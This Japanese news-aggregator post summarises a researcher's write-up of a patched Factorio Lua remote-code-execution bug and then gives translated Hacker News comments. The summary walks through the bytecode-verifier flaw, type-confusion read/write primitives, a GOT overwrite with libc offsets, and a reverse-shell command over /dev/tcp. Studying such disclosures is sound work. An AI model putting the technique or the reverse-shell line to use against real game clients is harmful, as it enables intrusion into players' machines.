2 ポイント 投稿者 GN⁺ 2024-06-30 | 1件のコメント | WhatsAppで共有
  • FactorioのLua実装の脆弱性により、悪意あるサーバーが接続クライアント上で任意コード実行を得られる可能性があり、影響範囲はすでにパッチ済みの 1.1.101未満 のバージョン
  • マルチプレイヤーが決定論的lockstep方式で同じLuaコードを実行する構造のため、攻撃者は悪意あるカスタムマップを通じてネットワーク経路上で脆弱性を誘発できる
  • 問題の中心には、baseモジュールのload/loadstringが許可していたバイトコード実行と、Factorio独自検証器のOff-By-One、型検証漏れがある
  • エクスプロイトはFORLOOPの型混同でアドレスを漏えいさせた後、upvalueのインデックス操作でLClosureTStringを混同させ、偽オブジェクトと任意読み書きを構成する
  • Linux RCEはGOTのldexpアドレスをsystemに差し替え、math.ldexp呼び出しを悪用した。Factorioの構造体オフセットと%aフォーマットの違いにより、別途補正が必要だった

脆弱性の範囲とLuaの露出経路

  • FactorioのLua実装の脆弱性により、悪意あるサーバーがクライアント上で任意コード実行を得られる可能性があり、Factorio 1.1.101未満 のバージョンが影響を受ける
  • LuaはFactorioでゲームロジック、Mod、カスタムマップの実装に使われている
    • Modはゲーム内またはFactorio Modsから入手できる
    • Moddingコミュニティには数千個のModがあり、一部はダウンロード数が50万回を超える
  • 単に悪意あるModを直接インストールさせるローカル攻撃のように見えるが、マルチプレイヤーの同期方式のためLuaインタープリタがネットワーク経路に露出する
  • Factorioのマルチプレイヤーは決定論的lockstepを使用する
    • ゲーム状態そのものではなく、ユーザーの入力だけをネットワークで送信する
    • すべてのプレイヤーのゲームは各tickを同一にシミュレートしなければならない
    • あるプレイヤーがLuaコードを実行すると、他のプレイヤーも同期のため同じコードを実行する必要がある
  • 攻撃者がLuaコードを実行させる経路は2つに整理できる
    • 権限がある場合に/cコマンドでサーバー上のLuaコードを実行する
    • Luaコードを含むカスタムマップを作り、クライアントがサーバー接続時に実行するようにする
  • サーバーブラウザに悪意あるサーバーを表示させれば、被害者がマップをダウンロードしLuaコードを実行する流れが作られ得る

攻撃全体の流れ

  • 攻撃はFactorioサーバーが悪意あるマップを提供する形で始まる
    • マップのシナリオLuaコードにエクスプロイトを含める
    • クライアントがサーバーに接続するとマップをダウンロードし、関連するLuaコードを実行する
  • その後Lua実装の弱点を利用して偽オブジェクト(fake object) を構成する
    • 偽オブジェクトはメモリリークとメモリ破壊を可能にする
    • その結果、コード実行につながり得る複数のプリミティブを作れる
  • 動的言語において偽オブジェクトは、攻撃者が強い制御権を得るための重要な手段である
    • 文字列は任意データの漏えいに使える
    • 配列やテーブルは任意メモリ書き込みに使える
    • ネイティブ関数の呼び出し経路があれば、実行フロー制御につながり得る

Luaバイトコード実行と検証器の問題

  • Factorioに含まれるLuaモジュールは制限されている
    • debug: デバッグ機能へのアクセス
    • math: 標準C数学インターフェース
    • bit32: ビット演算
    • string: 文字列操作
    • table: テーブル操作
    • base: printのようなLuaの中核関数
  • os.executeのような明らかに危険なモジュールは除かれているが、baseモジュールのloadloadstringバイトコード実行を許可するため攻撃面が大きい
  • LuaはソースコードをまずLuaバイトコードにコンパイルしてからインタープリタで実行する
    • バイトコードはCPUの機械語ではなく、Luaインタープリタだけが実行できる表現である
    • バイトコードを直接注入できると、通常のコンパイラが生成しない不正なバイトコードを実行できる
  • Lua開発者は任意バイトコード実行の危険性を認識して検証器を作ったが、Lua 5.2で削除した
    • Luaメーリングリストには、既存の検証器が繰り返し回避されており、任意のLuaコードを実行するアプリケーションはprecompiled scriptを受け取らないほうがよい、という趣旨が残されている
  • Factorio開発者はLua 5.2.1に独自のバイトコード検証器を実装したようだ
    • 保護ロジックは、コード外へのジャンプや定数配列範囲外のインデックスのような明確なOOBパラメータを防ぐことに集中している
    • 一部のopcodeの意味によりOff-By-One問題があり、JMP 0のようなジャンプオフセット処理でコードブロック外へジャンプできた
    • 定数領域がコードchunkの後に割り当てられる場合があり、攻撃者は定数セクションにバイトコードを保存し、off-by-oneジャンプで検査を回避して実行できた

アドレス漏えい:FORLOOPの型混同

  • Lua内部オブジェクトはTValueで表現される
    • TValueは値領域であるValueと、型を示すtt_で構成される
    • Valueは8バイト領域で、型に応じてdoubleまたはポインタのように解釈される
  • Lua 5.2の数値はすべてdoubleで表現される
    • 数値はポインタを経由せず、Value union内にinlineで保存され得る
    • 文字列ポインタを数値のように解釈させると、ポインタビットがdouble値として露出し得る
  • 通常のLuaではprint(function)がアドレスを出力できるが、Factorioでは削除されており、文字列アドレスも直接漏えいできない
  • ループopcodeであるFORLOOPは通常FORPREPの後に来る必要がある
    • FORPREPは開始値、上限値、stepが数値かどうか確認する
    • FORLOOP内部ではstepパラメータの型を検査せず、lua_assertベースの検査はデフォルトビルドでは強制されない
  • 攻撃者はバイトコードを操作してFORPREPを除去し、FORLOOPだけを実行させられる
    • 通常のLuaソースからコンパイラが生成しない状況をバイトコードで構成する
    • 文字列のようなオブジェクトをstep位置に置くと、そのTValueのポインタがdoubleのように解釈されて漏えいする
  • 漏えい値は通常のdoubleではなく、ポインタビットをdoubleとして解釈した値なので、2.1944577826691e-317のような小さな値に見える
    • IEEE 754 binary64は符号1ビット、指数11ビット、mantissa 52ビットで構成される
    • ポインタ値がdenormalized doubleのように見える場合、mantissaから元の値を復元できる
  • Lua 5.2にはpack/unpackと整数型がないため変換が難しい
    • 当初はstring.format("%.13a", double)でmantissaとexponentを読み、ポインタを復元した
    • 例の漏えい値は0x43d6c0ポインタとして復元され、実際の文字列データはTStringヘッダーの24バイト後に位置する

Upvalue操作とLClosureの型混同

  • Upvalueは現在の関数の外側のスコープにある変数へアクセスするLuaの仕組みである
    • バイトコードのupvalue情報には、インデックス、名前、スタック位置かどうか、スタックインデックスが含まれる
    • 攻撃者はバイトコードに含まれるupvalueインデックスを修正できる
  • upvalueインデックスを変えると、本来のローカル変数ではなくスタック上の別のTValueを参照できる
    • 例ではtarget upvalueインデックスを1つ増やし、現在の関数のLClosureを指すようにする
    • 操作されたバイトコードはnilの代わりにLClosure: 0x...を出力する
  • Luaで関数の実際の実行単位はPrototypeClosureに分かれる
    • Protoはバイトコード、定数、ソース行、upvalue情報など、関数テンプレートの役割を果たす
    • LClosureは実行中に生成され、Protoとupvalueリストを接続する
  • CLOSURE opcodeは新しいLua closureを作ってスタックに載せた後、upvalueを初期化する
    • ローカル変数が3つある場合、新しいLClosurebase + 3に置かれることがある
    • upvalueインデックスを3に変えると、その位置のLClosure TValueをつかめる
  • 内部関数が外側関数のLClosureを文字列で上書きすると、戻り後にLuaが文字列をLClosureのように使おうとしてクラッシュする
    • OP_RETURN経路の型検査はlua_assertに依存しており、デフォルト設定では強制されない
    • 結果として、現在の実行frameのclが実際のLClosureではなく、攻撃者が制御するTStringを指す可能性がある
  • TStringLClosureのレイアウト差を利用すると、文字列ユーザーデータ領域がProto *pUpval **upvalの位置に重なる
    • この型混同により、関数prototypeポインタとupvalue配列ポインタを制御できる
    • 制御可能なメモリ領域を指すようにすると偽オブジェクトを作れる

偽オブジェクトと読み書きプリミティブ

  • 偽オブジェクトの作成経路は大きく2つある
    • Protoが偽TValue配列を指す経路
    • UpVal配列が偽TValueを指す経路
  • 定数経路はpaddingが少なく、関数内で定数を再利用できるため選択された
    • TString
    • TStringを指すTValue配列
    • TValue配列を指すProto
    • Protoを指すLClosure
  • TStringは長さを任意に大きく設定して読み取りプリミティブとして使える
    • Lua文字列データはTStringヘッダーの後にあると仮定される
    • str:sub()で偽文字列が届く範囲のメモリを読める
    • Lua文字列インデックスは1から始まるため、header計算で1バイト補正が必要になる
  • 書き込みプリミティブは、偽UpValが書き込み先アドレスのTValueを指すようにする方式である
    • Lua変数に数値を代入すると、その位置に数値TValueが記録される
    • 数値はTValueの最初の8バイトにinline保存されるため、値領域を制御できる
    • 同時に次の8バイトには型情報が記録されるため、周辺メモリも破壊され得る
  • Lua数値がdoubleである点から、望む整数ビットパターンを書き込むには変換が必要になる
    • denormalized doubleの最小単位である2^-1074を利用する
    • integer_to_double(integer) = integer * 2^-1074という形で整数をdouble表現にエンコードする

命令ポインタ制御とASLR回避

  • LuaのLight C Functionは関数ポインタをTValue内にinline保存する
    • 関数型はLUA_TFUNCTIONであり、Light C FunctionLUA_TLCF22で表現される
    • TValueの値領域に0xdeadbeef、型領域に22を入れると、そのアドレスの関数のように呼び出せる
  • Light C Functionを呼び出すとinstruction pointerを制御できる
    • 例ではRIP0xdeadbeefになりクラッシュする
    • その後、ROP chainのような実行フロー変更技法につながり得る
  • Light C Functionポインタがinline保存される点はアドレス漏えいにも有用である
    • Lua関数がlight C functionとして実装されていれば、アドレス漏えいプリミティブでprintのような関数アドレスを読める
    • これによりASLR回避に必要な基準アドレスを計算できる
  • sandbox化された関数がバイナリに残っていれば、fake functionをそのアドレスへ向けて呼び出す回避も可能である

Factorio向けの補正

  • 初期テストは公式Luaインタープリタで行われたが、FactorioのLua実装は構造体レイアウトが異なる
  • FactorioのGCオブジェクトCommonHeaderにはpreviousポインタが追加されている
    • 公式Luaはnextttmarkedという構造である
    • Factorioはpreviousnextttmarkedという構造に見える
  • この差により、一部のオフセットが8バイトずつずれる
    • TStringヘッダーは24バイトではなく32バイトになる
    • 文字列内容アドレス計算と読み取りプリミティブの相対アドレス計算を修正する必要がある
    • UpValとfake closure計算でも追加ポインタを反映する必要がある
  • Factorioでは%aフォーマットの挙動も公式Luaテストと異なっていた
    • string.format("%.13a", 2.1038461432219e-316)が期待した0x0.000000289c130p-1022ではなく、0xa.2704c00000000p-1052の形を返す
    • このため文字列フォーマットベースのdouble復元が壊れた
  • 最終的な変換は純粋な数値方式に変わった
    • denormalized値はすべての整数が右側の最下位ビット基準で始まると見なせる
    • double_to_number(double) = double * 2^52 * 2^1022で漏えいした値を復元する
    • 2^1074はdoubleで表現できないため、2段階の乗算に分ける

Linux RCE:GOT差し替えとmath.ldexp

  • Linuxで選んだRCE経路は、ROP chainの代わりにGOT差し替えを利用する
    • Luaから呼び出し可能で、第1引数を制御できるimported functionを探す
    • その関数のGOTエントリをsystemアドレスで上書きする
    • Luaからその関数を呼び出し、system(command)のように動作させる
  • Factorioの制限されたLuaライブラリ内では、math.ldexpが適切な関数として使われた
    • 内部的にldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))を呼び出す
    • GDB確認で、2番目のLua引数がlibc呼び出しの最初のレジスタ引数RDIとして渡される状況が確認された
  • GOTはheapより前にあるため、既存の偽文字列読み取りプリミティブだけでは直接読むのが難しい
    • 読み取りプリミティブは偽文字列ヘッダー以降のアドレスしか読めない
    • GOTの前にあるwritable segmentを利用し、GOTより前の位置に偽TStringを構成する
  • TStringをGOTの前に作れば、libc関数アドレスを読んでASLRを回避できる
    • 例ではGOTからmemcpyアドレスを読んだ
    • Fedora 39のlibc 2.38オフセットとしてlibc_base = memcpy - 0x138b80system = libc_base + 0x2a3b0を計算する
  • その後、ldexpのGOTエントリをsystemアドレスで上書きする
    • 例のアドレスでは0x289ef00位置がldexpのGOTエントリとして使われた
    • write(0x289ef00, system)という形で上書きする

コマンド実行と最終的なリモートシェル

  • 当初はLua文字列にコマンドを保存し、math.ldexp(0, addr_of(cmd) + 32)で呼び出そうとしていた
    • コマンドはsh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"の形である
    • しかしLuaがldexp32ビットパラメータで呼び出したため、文字列アドレスの上位ビットが切り捨てられ失敗した
  • 回避策は、以前に偽文字列を作る際に使ったバイナリのwritable segmentへコマンド文字列を直接書き込む方式である
    • PIEが有効化されていないため、メインバイナリアドレスは十分小さかった
    • アドレス0x289c150付近にコマンド文字列を複数回のwrite()で記録する
  • math.ldexp(0, 0x289c150)呼び出しは、GOT差し替え後にはsystem(0x289c150)呼び出しのように動作する
  • 最終実行結果はローカルのnc -lvp 9001リスナーに接続されたシェルとして確認された
    • シェルプロンプトはsh-5.2$
    • whoamiの結果はvictim

練習用チャレンジと参考資料

1件のコメント

 
GN⁺ 2024-06-30
Hacker Newsのコメント
  • 意外だった
    Luaはバイトコードを解釈するので、命令の引数が意味のあるものかどうか、たとえばLuaが割り当てたメモリを指しているか、といったことを確認できるものだと思っていた
    だが実際にはそうではなく、誤った引数を持つバイトコードを渡してもそのまま実行してしまう。その後の侵害はそこから始まる
    しかもインタープリタを修正する代わりにバイトコードを静的解析しようという計画らしいが、これは単純なケースにしか通用しないように見える
    サンドボックス向きのインタープリタ言語としてはかなりがっかりで、入力を信頼しないようにインタープリタを修正するパッチを受け入れるのか気になる。性能低下を懸念しているようだが、高速な選択肢がLuaJITであることを考えると疑わしい

    • 「インタープリタが入力を信頼しないようにするパッチ」については、Lua開発者の立場は、任意のLuaコードを実行するプロセスはソースコードだけを受け取るべきであり、バイトコードの直接ロードは無効にすべき、というものだと理解している
      このやり方なら、信頼済みのバイトコードを直接ロードする選択肢は残しつつ、全ユーザーに影響する動的チェックをインタープリタに入れずに済むので、合理的に思える
    • Luaはよくある誤解と違って、実際にはサンドボックス向きではない
      Luaは設計上、停止性の保証を提供しておらず、信頼できないプログラムを強制終了させるよい方法もない。信頼できないLua入力を受けるなら、プログラムが無期限に停止する可能性があると考えるべきだ
      Luaは、インターネットからダウンロードしたコードのような、最低限のデューデリジェンスを経た準信頼入力には優れている。コードが実際に悪意あるものであっても、被害を大きく制限はできるが完全には防げない程度だ
      JavaScript的に完全に信頼できない入力が必要なら、RobloxフォークのLuauが適している: https://luau-lang.org/sandbox
    • サンドボックス向きと見るのは難しいのではないか
      他の言語が示してきたように、バイトコード用の安全なインタープリタを作るのは単純なことではない。参照実装を単純にするためのトレードオフでもある
      サードパーティーコードの実行に関しては、この手のインタープリタの大半を信用していない。Webブラウザに注がれる研究開発費と注目度を考えても、ブラウザですらようやく信用できる程度だ
    • 予想できる話だ。正しいコンパイラが実際に生成したバイトコードだけを実行すべきだ。そうでなければメモリ安全性違反やサンドボックス脱出が起こりうるし、メモリ安全性違反を通じたサンドボックス脱出もありえる
      任意の機械語コードを実行しないのと同じことだ
      Luauも同じ性質を持っているが、Robloxがサンドボックス脱出で常に苦しめられているわけではないだろう
    • Java、Wasm、BPFは、JITコンパイル言語でも静的に検証可能なバイトコードが可能であることを示している。Luaの問題は、バイトコードが安全性を完全に検証するのに必要な情報を提供していないことにある
  • こうした点がもっと明確に定義または文書化されていてほしい。どの言語が合理的に安全だと見なせるのか、自分で見極めなければならない状況だ
    たとえば、静的なコードをユーザー自身が実行する基本ケースがあり、Luaを含む一般的な言語が通常想定しているのはここだ
    また、コードを更新の過程で動的に受け取って実行するが、公式チャネルしか使わないケースもある。この場合、プロセスを安全にすれば何とかなるかもしれないが、確実ではない
    ユーザーがプラグインとしてコードを追加でき、ストアからボタン一つで簡単にインストールできるケースもある。プラグインは審査できるとしても、ほとんどまともには機能しないので、サンドボックスが必要か、ユーザーが注意すべきかを考えなければならない
    マルチプレイヤーゲームで、サーバーだけがプラグインで拡張され、クライアントはそうでないケースもある。サーバーを立てるゲーマーがさまざまなプラグインを積極的に試すこと、そしてプラグインコミュニティがはるかに危険になりうることを考慮すべきだ
    最後に、ブラウザのようにサーバーがクライアント上で任意コードを実行できるマルチプレイヤーゲームがある。この場合、とりわけクライアント側のサンドボックスに細心の注意を払う必要がある。ゲーマーはセキュリティへの影響を考えずに任意のサーバーへ参加するからだ
    Factorioはまさに最後のケースだ。開発者がこれを評価しなければならないこと自体に強く反対するわけではないが、たとえばLuaのload関数が安全でない任意のバイトコードを実行できるという事実が、常に明白とは限らない
    正直、Luaバイトコードが安全でないことは知らなかったが、LuaJITバイトコードが安全でないことは知っていた。ただ、この事実はメーリングリストやGitHub Issueで当然のことのように断片的に書かれている程度に見える
    サーバーがクライアントを停止させられるという問題もある。無限ループを回せばよいだけだ。ただ、これは回避がはるかに難しく、そもそも回避しようとすること自体が無意味かもしれない

    • 攻撃者が制御するコードを実行するいかなる方法も、安全だと仮定すべきではない。明示的に安全だと示され、その実現のためにGoogleレベルの労力が投入されているのでなければ、なおさらだ
    • Unreal EngineベースのゲームであるMordhauには、サーバー運営者がURLを指定すると、プレイヤー接続時にゲーム内ブラウザが開く本日のメッセージ機能があった
      クライアント側でブラウザを無効化するオプションはなく、開発者は最終的にこれを完全に無効化したと記憶しているが、現在どうなっているかは確かではない
      ゲームとゲームエンジンがどれほど複雑になったかを示している。特に理由もなさそうな場所に組み込みWebブラウザが入っている
    • まず見るべきなのは、その解決策が推測実行に対して安全なサンドボックスであると明確に示しているかどうかだ。そうしているところは多くないだろうが、一部にはあり、そこから判断できる
  • Factorio の背後には本当に優秀な開発チームがいるので、この種の問題を修正するために全力を尽くしていると信じている。ただ、ゲーム開発全般は創造的な作業の性格が強く、コードの慣行やセキュリティのようなものは後回しにされがちな気がする
    ゲームクライアントやサーバーに ゼロデイ脆弱性 がどれほど潜んでいるのか気になる

    • リモートでのやり取りがあるゲームは、基本的に完全には安全ではないと考えている。Steam とすべてのゲームを何らかの形で サンドボックス 内で実行した方がいい
      Flatpak は出発点としては役に立つかもしれない。コンテナは強固なセキュリティ境界ではないが、単純なエクスプロイトは防げる
    • おそらくあまり良くないだろう。Xbox、Sony、Nintendo のようなコンソールメーカーが、任意のサーバー IP への接続や MOD 対応を許可しない理由を考えればよい
      それは単に公式オンラインサービスを使わせたいという商業的判断だけではない。第三者サーバーの IP 接続を防げば、ネットワークコードやゲームの他の部分に深刻なバグがあっても絶対に悪用されない。MOD、さらには Lua のような「安全な」MOD まで制限すれば、エクスプロイトをさらに防げる
      バグの多いネットワークコードは、歴史的に複数のコンソールの DRM を崩してきた
      エクスプロイトだけでなく、コンソールはコードが配布前に審査されることを誇りにもしている。リモートシステムからの Lua 実行を許せば、承認後でもゲームが開発者自身によって遠隔再構成されうることを意味し、コンソールメーカーは非常に綿密な審査なしにはそれを認めたがらない
    • だからゲーム用のコンピュータは別にしておくのがよい。重要な文書や業務資料は絶対に入れない方がいい
      理想的には仮想マシンに隔離するのがよいが、ゲーム用仮想マシン の設定はとても面倒で、アンチチートを使う一部のゲームでは排除される可能性がある
    • コードの慣行だって? Factorio は、これまで見てきたソフトウェアの中でも最もよくプログラムされ、安定していて一貫性のある部類に入る
      他分野がプログラミングのできる人材を切実に必要としていることを思うと、熟練した人たちがゲーム分野で働いているのがほとんど惜しいくらいだ
  • 一般にプログラム検証は Rice の定理のためだけでなく、きわめて難しい。特に Lua のような単純ではないバイトコード言語では、見落としが非常に生じやすい。たとえば Wasm には for ループの概念 がない
    上流プロジェクトが難しすぎるとしてこの問題を諦めたあと、Factorio の開発者たちが検証器を修正したり自作しようとしたのは奇妙だ
    Minetest の loadstring 関数はバイトコードを完全に禁止している: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Factorio の MOD が生の Lua バイトコードを実行する能力をなぜ必要とするのか気になる。必要ないなら、検証器も不要だったはずだ
    そもそもネットワーク経由で取得した Lua コードを実行すること自体がかなり危険だ。JavaScript 実行環境は数十年にわたり、エクスプロイトの発見と修正の循環を経験してきた。Lua にもそうしたことはあるが、規模は小さく、セキュリティ改善に投入できる人員も少ない
    主な防御策は、悪意のあるゲームサーバーを運営する人が少ないことなのかもしれない

    • Factorio はこの問題への対応として バイトコード読み込みを無効化 した。バイトコードは、Lua バイトコードを吐き出す前処理言語で MOD を書くなどの面白いことを可能にしていたが、最終的にはセキュリティ上の問題の方が重要だった
      同様のセキュリティ上の理由から、デバッグライブラリもほぼ全面的に MOD から使えなくなった
    • 結局、すべてのゲーム開発者は Lua の loadstring() 関数から バイトコード機能 を取り除くべきだということを痛い形で学ぶことになる
      たとえば ROBLOX の開発者が 12 年前に書いた記事がある: https://archive.is/oXPyM
      正直、デフォルトで無効にした方がよいだろう。正当な用途はかなりニッチだ
    • Factorio にはこんなものもある: https://mods.factorio.com/mod/Moon_Logic
      しかも、チューリング完全な環境でそのまま実行できないソフトウェアを作るのはかなり制約が大きい
      いずれにせよ、強力な 権限管理の仕組み を備えたインタプリタが本当に必要だ
    • Rice の定理はここでは本質ではないように思う。第一のフィルタとしては有用かもしれない。これを「ただ」正確に判定できると信じるなら、Henry Rice が半世紀前にそれが不可能だと証明して博士号を得ているので、やめた方がいい
      だが、実際の要件を満たす入力の一部だけを受け入れると割り切るなら、Rice の定理の出番は終わりだ。あとは不可能な作業ではなく、きわめて難しい作業が残るだけだ
      失敗したとしても、少なくとも不可能なことだったとは言われないので、慰めにはなるかもしれない
      Factorio はこの道を進むべきではなかった
    • Rice の定理はここには当てはまらない。Rice の定理が使う広い意味での「構文」の定義では、バイトコードで検証しようとしているものは 構文 に当たる
  • 完全に初心者の質問だが、ゲームはなぜ Lua を使い、たとえばゲーム状態を調整する API のような定義済みインターフェースを持つ 組み込み JavaScript を使わないのか気になる
    ブラウザ環境の隔離に投入されてきた、はるかに強力な強化作業の恩恵を受けられそうだ。ブラウザは難しく、非常によくテストされ、多額の資金が投入された標的だ
    動的型付けの性能最適化にも膨大な作業が注がれてきた
    しかも MOD に UI が必要なら canvas があり、DOM に似たモデルを提供するなら React のようなものも潜在的には可能だ

    • 数年前に試した限りでは、ほとんどの JavaScript エンジンは古く、ほぼ保守されておらず、ブラウザで使われているエンジンは ブラウザ優先 で作られているため、統合しやすいようには設計されていなかった
      Lua は統合のために特別に作られているので、資料も多く、大きなコミュニティにも支えられている
    • ほとんどの JavaScript エンジンは Lua より組み込みがはるかに複雑だ。Lua は思いつくソフトウェアの中でも最もコンパイルが簡単な部類に入る
      それに、一般的なブラウザ API と JavaScript を混同している。JavaScript エンジンは canvas や DOM を提供しない。たとえば V8 も提供せず、それらは自分で追加しなければならない
  • セキュリティ開発者ではないけれど、儀礼的に「わあ、これはものすごく印象的だ!」と言いたい。こういう複雑な失敗事例を追跡するには、どれほど明晰で論理的に考えなければならないのか信じがたい。間違いなく自分の強みではなく、自分はもっとずっと「アイデア担当」に近い
    内容面では、こういう奇妙なメモリ exploit を見つけるブログ記事を1万本分搭載した AIソフトウェアエンジニア集団 が現れたら、私たちは完全に終わりだと思う
    結局のところ、セキュリティのためにはまったく新しいパラダイム、少なくともスタック内の新しい要素が必要だと思う。現代の「信頼された」クライアントやDBの役割のような話は、スイスチーズの穴を継ぎはぎしているように感じる
    できれば、LLMが管理する新しいスイスチーズの層をもう1枚重ねられるといいのだが

    • すでにやっている人たちがいる。結果はまだ有望ではない
  • つまり、これは悪用可能だと宣伝されていた機能である バイトコード読み込み に依存する exploit を示しただけではないのか? 自分は何を見落としているんだろう?

    • 興味深いのは、Lua開発者たちがバイトコード検証器でどれほど大きく失敗していたかという点だった。複雑な問題ではなく、jmp のような基本命令をモデル化するときの off-by-one エラー や、Luaインタプリタが手に入るものを何でも命令として解釈しようとする問題のような単純なものだった
      検証器が触れないデータセクションまで解釈しようとしていた
    • 宣伝されていた機能であっても、Luaやバイトコードが何かを知らない最終ユーザーに被害を与えうる
    • バイトコードインタプリタにバグがあり、loadstring が無効化された環境でも 任意バイトコード実行 が可能かもしれない
  • こんなに有能な人たちが善い側にいてくれて本当によかった

    • 生まれつき善良だったり、害を与えなかったりする人がどれだけ多いかを示しているように思う。英語でどの単語が適切かは分からないが
      ニュース媒体は逆だと信じさせるし、そうしたニュースの平均的なコメントもその信念を強めるが、もし本当にそうなら、私たちが享受しているさまざまな贅沢や医療・社会支援プログラムがどうして成り立つだろうか
      世の中に問題がないという意味ではないが、明らかに破壊的な人より 建設的な人 のほうがずっと多い
      ちょうど Panama Papers 関連のHNスレッドから来たばかりなので、この考えがなおさら頭にある。あそこでは、すべての金持ちが悪で、全員が完全に起訴を免れたかのようにシニカルな雰囲気だったが、実際にはどちらも事実ではないと、いくつかのコメントがうまく指摘していた。ただし、スレッドを少し下まで読んで、そのシニシズムに飲まれないようにしなければならない
  • Luaバイトコードは、Luaソースコードパーサを回すリソースが足りない 組み込みシステム 以外では、絶対に使うべきではないと思う
    セキュリティ脆弱性以外で有用に見える唯一の用途は、非公開ソースのプログラムくらいだ

  • 自分が見落としているのかもしれないが、後半はざっと読んだだけだと認めたうえで言うと、筆者は実際にどんな 緩和策 が講じられたのかをまったく扱っていないように見える。その部分をもっと聞きたい